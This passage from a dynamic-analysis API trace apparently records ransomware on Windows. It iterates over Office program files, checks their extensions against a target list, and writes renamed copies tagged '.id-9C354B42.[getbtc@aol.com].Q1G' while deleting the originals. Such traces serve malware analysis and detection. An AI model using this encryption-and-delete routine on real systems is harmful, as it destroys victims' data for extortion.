(lpString=".dbf") returned 4 [0257.944] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0257.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0257.944] lstrlenW (lpString=".1cd") returned 4 [0257.944] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0257.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0257.944] lstrlenW (lpString=".jpg") returned 4 [0257.944] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0257.945] lstrcmpiW (lpString1=".man", lpString2=".Q1G") returned -1 [0257.945] lstrlenW (lpString="BCSEvents.man") returned 13 [0257.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0257.945] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=36177) returned 1 [0257.945] CloseHandle (hObject=0x3c8) returned 1 [0257.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man")) returned 0x20 [0257.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0257.946] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.946] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0257.947] GetLastError () returned 0x0 [0257.947] ReadFile (in: hFile=0x3c8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x8d51, lpOverlapped=0x0) returned 1 [0257.949] WriteFile (in: hFile=0x3f0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x8d60, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x8d60, lpOverlapped=0x0) returned 1 [0257.951] ReadFile (in: hFile=0x3c8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.951] WriteFile (in: hFile=0x3f0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xee, lpOverlapped=0x0) returned 1 [0257.951] SetEndOfFile (hFile=0x3f0) returned 1 [0257.951] CloseHandle (hObject=0x3f0) returned 1 [0257.951] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.951] SetEndOfFile (hFile=0x3c8) returned 1 [0257.954] CloseHandle (hObject=0x3c8) returned 1 [0257.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.954] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man")) returned 1 [0257.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0257.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0257.955] lstrlenW (lpString=".doc") returned 4 [0257.955] lstrcmpiW (lpString1=".doc", lpString2=".man") returned -1 [0257.955] lstrlenW (lpString=".docx") returned 5 [0257.955] lstrcmpiW (lpString1=".docx", lpString2="s.man") returned -1 [0257.955] lstrlenW (lpString=".pdf") returned 4 [0257.955] lstrcmpiW (lpString1=".pdf", lpString2=".man") returned 1 [0257.955] lstrlenW (lpString=".xls") returned 4 [0257.955] lstrcmpiW (lpString1=".xls", lpString2=".man") returned 1 [0257.955] lstrlenW (lpString=".xlsx") returned 5 [0257.955] lstrcmpiW (lpString1=".xlsx", lpString2="s.man") returned -1 [0257.955] lstrlenW (lpString=".ppt") returned 4 [0257.956] lstrcmpiW (lpString1=".ppt", lpString2=".man") returned 1 [0257.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0257.956] lstrlenW (lpString=".zip") returned 4 [0257.956] lstrcmpiW (lpString1=".zip", lpString2=".man") returned 1 [0257.956] lstrlenW (lpString=".rar") returned 4 [0257.956] lstrcmpiW (lpString1=".rar", lpString2=".man") returned 1 [0257.956] lstrlenW (lpString=".bz2") returned 4 [0257.956] lstrcmpiW (lpString1=".bz2", lpString2=".man") returned -1 [0257.956] lstrlenW (lpString=".7z") returned 3 [0257.956] lstrcmpiW (lpString1=".7z", lpString2="man") returned -1 [0257.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0257.956] lstrlenW (lpString=".dbf") returned 4 [0257.956] lstrcmpiW (lpString1=".dbf", lpString2=".man") returned -1 [0257.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0257.956] lstrlenW (lpString=".1cd") returned 4 [0257.956] lstrcmpiW (lpString1=".1cd", lpString2=".man") returned -1 [0257.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0257.956] lstrlenW (lpString=".jpg") returned 4 [0257.956] lstrcmpiW (lpString1=".jpg", lpString2=".man") returned -1 [0257.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0257.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0257.956] lstrlenW (lpString=".doc") returned 4 [0257.956] lstrcmpiW (lpString1=".doc", lpString2=".man") returned -1 [0257.956] lstrlenW (lpString=".docx") returned 5 [0257.956] lstrcmpiW (lpString1=".docx", lpString2="s.man") returned -1 [0257.956] lstrlenW (lpString=".pdf") returned 4 [0257.956] lstrcmpiW (lpString1=".pdf", lpString2=".man") returned 1 [0257.956] lstrlenW (lpString=".xls") returned 4 [0257.956] lstrcmpiW (lpString1=".xls", lpString2=".man") returned 1 [0257.956] lstrlenW (lpString=".xlsx") returned 5 [0257.956] lstrcmpiW (lpString1=".xlsx", lpString2="s.man") returned -1 [0257.956] lstrlenW (lpString=".ppt") returned 4 [0257.956] lstrcmpiW (lpString1=".ppt", lpString2=".man") returned 1 [0257.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0257.956] lstrlenW (lpString=".zip") returned 4 [0257.956] lstrcmpiW (lpString1=".zip", lpString2=".man") returned 1 [0257.957] lstrlenW (lpString=".rar") returned 4 [0257.957] lstrcmpiW (lpString1=".rar", lpString2=".man") returned 1 [0257.957] lstrlenW (lpString=".bz2") returned 4 [0257.957] lstrcmpiW (lpString1=".bz2", lpString2=".man") returned -1 [0257.957] lstrlenW (lpString=".7z") returned 3 [0257.957] lstrcmpiW (lpString1=".7z", lpString2="man") returned -1 [0257.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0257.957] lstrlenW (lpString=".dbf") returned 4 [0257.957] lstrcmpiW (lpString1=".dbf", lpString2=".man") returned -1 [0257.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0257.957] lstrlenW (lpString=".1cd") returned 4 [0257.957] lstrcmpiW (lpString1=".1cd", lpString2=".man") returned -1 [0257.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0257.957] lstrlenW (lpString=".jpg") returned 4 [0257.957] lstrcmpiW (lpString1=".jpg", lpString2=".man") returned -1 [0257.957] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0257.957] lstrlenW (lpString="BCSLaunch.dll") returned 13 [0257.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcslaunch.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0257.958] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=70528) returned 1 [0257.958] CloseHandle (hObject=0x3c8) returned 1 [0257.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcslaunch.dll")) returned 0x20 [0257.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\bcslaunch.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcslaunch.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0257.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0257.959] lstrlenW (lpString=".doc") returned 4 [0257.959] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0257.959] lstrlenW (lpString=".docx") returned 5 [0257.959] lstrcmpiW (lpString1=".docx", lpString2="h.dll") returned -1 [0257.959] lstrlenW (lpString=".pdf") returned 4 [0257.959] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0257.959] lstrlenW (lpString=".xls") returned 4 [0257.959] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0257.959] lstrlenW (lpString=".xlsx") returned 5 [0257.959] lstrcmpiW (lpString1=".xlsx", lpString2="h.dll") returned -1 [0257.959] lstrlenW (lpString=".ppt") returned 4 [0257.959] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0257.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0257.959] lstrlenW (lpString=".zip") returned 4 [0257.959] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0257.959] lstrlenW (lpString=".rar") returned 4 [0257.959] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0257.959] lstrlenW (lpString=".bz2") returned 4 [0257.959] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0257.959] lstrlenW (lpString=".7z") returned 3 [0257.959] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0257.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0257.959] lstrlenW (lpString=".dbf") returned 4 [0257.959] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0257.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0257.959] lstrlenW (lpString=".1cd") returned 4 [0257.959] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0257.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0257.959] lstrlenW (lpString=".jpg") returned 4 [0257.959] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0257.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0257.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0257.960] lstrlenW (lpString=".doc") returned 4 [0257.960] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0257.960] lstrlenW (lpString=".docx") returned 5 [0257.960] lstrcmpiW (lpString1=".docx", lpString2="h.dll") returned -1 [0257.960] lstrlenW (lpString=".pdf") returned 4 [0257.960] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0257.960] lstrlenW (lpString=".xls") returned 4 [0257.960] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0257.960] lstrlenW (lpString=".xlsx") returned 5 [0257.960] lstrcmpiW (lpString1=".xlsx", lpString2="h.dll") returned -1 [0257.960] lstrlenW (lpString=".ppt") returned 4 [0257.960] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0257.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0257.960] lstrlenW (lpString=".zip") returned 4 [0257.960] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0257.960] lstrlenW (lpString=".rar") returned 4 [0257.960] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0257.960] lstrlenW (lpString=".bz2") returned 4 [0257.960] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0257.960] lstrlenW (lpString=".7z") returned 3 [0257.960] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0257.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0257.960] lstrlenW (lpString=".dbf") returned 4 [0257.960] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0257.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0257.960] lstrlenW (lpString=".1cd") returned 4 [0257.960] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0257.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0257.960] lstrlenW (lpString=".jpg") returned 4 [0257.960] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0257.961] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0257.961] lstrlenW (lpString="BCSProxy.dll") returned 12 [0257.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsproxy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0257.961] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=137600) returned 1 [0257.961] CloseHandle (hObject=0x3c8) returned 1 [0257.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsproxy.dll")) returned 0x20 [0257.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\bcsproxy.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsproxy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0257.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0257.962] lstrlenW (lpString=".doc") returned 4 [0257.962] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0257.962] lstrlenW (lpString=".docx") returned 5 [0257.962] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0257.962] lstrlenW (lpString=".pdf") returned 4 [0257.962] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0257.962] lstrlenW (lpString=".xls") returned 4 [0257.962] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0257.962] lstrlenW (lpString=".xlsx") returned 5 [0257.962] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0257.962] lstrlenW (lpString=".ppt") returned 4 [0257.962] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0257.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0257.962] lstrlenW (lpString=".zip") returned 4 [0257.962] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0257.962] lstrlenW (lpString=".rar") returned 4 [0257.962] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0257.962] lstrlenW (lpString=".bz2") returned 4 [0257.962] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0257.962] lstrlenW (lpString=".7z") returned 3 [0257.962] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0257.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0257.962] lstrlenW (lpString=".dbf") returned 4 [0257.962] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0257.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0257.962] lstrlenW (lpString=".1cd") returned 4 [0257.962] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0257.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0257.962] lstrlenW (lpString=".jpg") returned 4 [0257.962] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0257.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0257.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0257.962] lstrlenW (lpString=".doc") returned 4 [0257.962] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0257.962] lstrlenW (lpString=".docx") returned 5 [0257.963] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0257.963] lstrlenW (lpString=".pdf") returned 4 [0257.963] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0257.963] lstrlenW (lpString=".xls") returned 4 [0257.963] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0257.963] lstrlenW (lpString=".xlsx") returned 5 [0257.963] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0257.963] lstrlenW (lpString=".ppt") returned 4 [0257.963] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0257.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0257.963] lstrlenW (lpString=".zip") returned 4 [0257.963] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0257.963] lstrlenW (lpString=".rar") returned 4 [0257.963] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0257.963] lstrlenW (lpString=".bz2") returned 4 [0257.963] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0257.963] lstrlenW (lpString=".7z") returned 3 [0257.963] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0257.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0257.963] lstrlenW (lpString=".dbf") returned 4 [0257.963] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0257.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0257.963] lstrlenW (lpString=".1cd") returned 4 [0257.963] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0257.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0257.963] lstrlenW (lpString=".jpg") returned 4 [0257.963] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0257.963] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0257.963] lstrlenW (lpString="BCSRuntime.dll") returned 14 [0257.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntime.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0257.964] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=613760) returned 1 [0257.964] CloseHandle (hObject=0x3c8) returned 1 [0257.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntime.dll")) returned 0x20 [0257.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntime.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntime.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0257.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0257.964] lstrlenW (lpString=".doc") returned 4 [0257.964] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0257.964] lstrlenW (lpString=".docx") returned 5 [0257.965] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0257.965] lstrlenW (lpString=".pdf") returned 4 [0257.965] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0257.965] lstrlenW (lpString=".xls") returned 4 [0257.965] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0257.965] lstrlenW (lpString=".xlsx") returned 5 [0257.965] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0257.965] lstrlenW (lpString=".ppt") returned 4 [0257.965] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0257.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0257.965] lstrlenW (lpString=".zip") returned 4 [0257.965] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0257.965] lstrlenW (lpString=".rar") returned 4 [0257.965] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0257.965] lstrlenW (lpString=".bz2") returned 4 [0257.965] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0257.965] lstrlenW (lpString=".7z") returned 3 [0257.965] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0257.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0257.965] lstrlenW (lpString=".dbf") returned 4 [0257.965] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0257.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0257.965] lstrlenW (lpString=".1cd") returned 4 [0257.965] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0257.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0257.965] lstrlenW (lpString=".jpg") returned 4 [0257.965] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0257.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0257.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0257.965] lstrlenW (lpString=".doc") returned 4 [0257.965] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0257.965] lstrlenW (lpString=".docx") returned 5 [0257.965] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0257.965] lstrlenW (lpString=".pdf") returned 4 [0257.965] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0257.965] lstrlenW (lpString=".xls") returned 4 [0257.965] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0257.965] lstrlenW (lpString=".xlsx") returned 5 [0257.965] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0257.966] lstrlenW (lpString=".ppt") returned 4 [0257.966] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0257.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0257.966] lstrlenW (lpString=".zip") returned 4 [0257.966] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0257.966] lstrlenW (lpString=".rar") returned 4 [0257.966] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0257.966] lstrlenW (lpString=".bz2") returned 4 [0257.966] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0257.966] lstrlenW (lpString=".7z") returned 3 [0257.966] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0257.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0257.966] lstrlenW (lpString=".dbf") returned 4 [0257.966] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0257.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0257.966] lstrlenW (lpString=".1cd") returned 4 [0257.966] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0257.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0257.966] lstrlenW (lpString=".jpg") returned 4 [0257.966] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0257.966] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0257.966] lstrlenW (lpString="BCSRuntimeUI.dll") returned 16 [0257.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntimeui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0258.031] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=14208) returned 1 [0258.032] CloseHandle (hObject=0x3e4) returned 1 [0258.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntimeui.dll")) returned 0x20 [0258.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntimeui.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.049] CreateFileW (lpFileName="C:\\Program 